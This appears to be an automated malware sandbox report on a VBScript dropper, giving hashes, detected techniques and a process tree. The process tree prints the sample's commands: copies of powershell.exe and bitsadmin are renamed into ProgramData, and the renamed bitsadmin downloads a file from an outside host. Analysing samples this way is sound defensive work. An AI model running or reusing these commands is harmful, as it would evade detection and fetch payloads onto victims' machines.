Analysis
-
max time kernel
119s -
max time network
120s -
platform
windows7_x64 -
resource
win7-20240708-en -
resource tags
arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system -
submitted
11-08-2024 23:12
Static task
static1
Behavioral task
behavioral1
Sample
8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs
Resource
win7-20240708-en
General
-
Target
8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs
-
Size
7KB
-
MD5
8c5bfc61bb0b20c461496f954bc957fc
-
SHA1
d6a89fc9aa3e9ba9356d4d943084e51e06e69e96
-
SHA256
be2f792c44d9e48f90ccb1ff0fe514e28c33de7151631da8d2da8d77dfdbd7ff
-
SHA512
3c825aee05625202fe166ce2453043731553fe007301e8b716d34c91da5e5f022a21ef1b2de13b71a73ec278e522c27447a7a57b000149d78ec1266a3892d148
-
SSDEEP
192:UZjfeoBTV34Oc0dM+OTbFpE66Hzd/LSQM/2F4I:UZjfeor4Oc0C+UbFe66HRDSVI
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
pid Process 2148 YiEIZyJin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language YiEIZyJin.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2372 wrote to memory of 2156 2372 WScript.exe 30 PID 2372 wrote to memory of 2156 2372 WScript.exe 30 PID 2372 wrote to memory of 2156 2372 WScript.exe 30 PID 2156 wrote to memory of 2400 2156 cmd.exe 32 PID 2156 wrote to memory of 2400 2156 cmd.exe 32 PID 2156 wrote to memory of 2400 2156 cmd.exe 32 PID 2156 wrote to memory of 2404 2156 cmd.exe 33 PID 2156 wrote to memory of 2404 2156 cmd.exe 33 PID 2156 wrote to memory of 2404 2156 cmd.exe 33 PID 2372 wrote to memory of 2148 2372 WScript.exe 34 PID 2372 wrote to memory of 2148 2372 WScript.exe 34 PID 2372 wrote to memory of 2148 2372 WScript.exe 34 PID 2372 wrote to memory of 2148 2372 WScript.exe 34
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8c5bfc61bb0b20c461496f954bc957fc_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2372 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2156 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aPHsl.exe3⤵PID:2400
-
-
C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\YiEIZyJ*.exe3⤵PID:2404
-
-
-
C:\ProgramData\YiEIZyJin.exe"C:\ProgramData\YiEIZyJin.exe" /wrap /transfer AKRkDLfa https://fakedepth.com/real/01162660318/dev.txt C:\ProgramData\dev.txt2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2148
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51